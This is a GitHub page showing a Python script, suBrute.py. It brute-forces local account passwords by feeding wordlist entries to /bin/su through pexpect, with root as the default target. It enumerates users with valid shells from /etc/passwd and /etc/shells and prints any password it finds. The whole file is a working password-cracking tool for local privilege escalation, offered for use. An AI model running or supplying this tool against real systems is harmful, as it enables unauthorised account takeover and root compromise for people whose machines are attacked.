-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsuBrute.py
95 lines (75 loc) · 2.29 KB
/
suBrute.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
#!/usr/bin/env python3
import pexpect
import argparse
from pyfiglet import Figlet
def cracker(user,password):
output = pexpect.spawn("/bin/su - "+user, timeout=4)
output.expect("Password:")
output.sendline(password)
auth_fail = output.expect(["su: Authentication failure", "[\$%%#]"])
if(auth_fail==0):
output.kill(0)
return False
else:
output.kill(0)
return True
def userSelecter():
passwd =open('/etc/passwd').read()
passwd = passwd.split('\n')
validShells = open('/etc/shells').read().split('\n')
user_List=[]
for i in passwd:
user = i.split(':')[0]
shell = i.split(':')[-1]
if shell in validShells:
user_List.append(user)
while("" in user_List):
user_List.remove("")
return user_List
def wordLists(path):
try:
wordList = open(path).read().split('\n');
return(list(set(wordList)))
except IOError as error:
return False;
def flagParser():
parser = argparse.ArgumentParser(description='Powerful user password brute forcer on local /bin/su binary')
parser.add_argument('-u','--user', default="root" ,help='username for attack (default: root)')
parser.add_argument('-w','--wordlist',required=True ,help='dictonary file that help for attack')
return parser.parse_args()
def main():
args = flagParser();
u=w=True
users = userSelecter()
word = wordLists(args.wordlist)
#colors
GREEN='\033[0;32m'
NOCOLOR='\033[0m'
RED='\033[0;31m'
ORANGE='\033[0;33m'
LIGHTBLUE='\033[1;34m'
#end
if(args.user not in users):
print(RED+'[-]'+NOCOLOR+' Error : User does not exist or maybe `'+args.user+'` has no valid shell')
u=False
if(word == False):
print(RED+'[-]'+NOCOLOR+' Error : Input File is Not Vaid')
w=False
if( u and w):
print(LIGHTBLUE+'[*]'+NOCOLOR+'Dictonary \t: '+args.wordlist);
print(LIGHTBLUE+'[*]'+NOCOLOR+'User \t: '+args.user);
print(LIGHTBLUE+'[*]'+NOCOLOR+'Password Count : '+str(len(word))+'\n');
for passwd in word :
print('\r'+ORANGE+'[*]'+NOCOLOR+' Checking '+args.user+' : ' +passwd,end="\t\r")
output = cracker(args.user,passwd)
if( output):
print(GREEN+'[+]'+NOCOLOR+' Password Found for user '+GREEN+args.user +NOCOLOR+' : '+GREEN+ passwd + NOCOLOR);
break;
else:
exit
def banner():
custom_fig = Figlet(font='mini')
print(custom_fig.renderText('Hello World !!'))
if(__name__ =="__main__"):
banner()
main()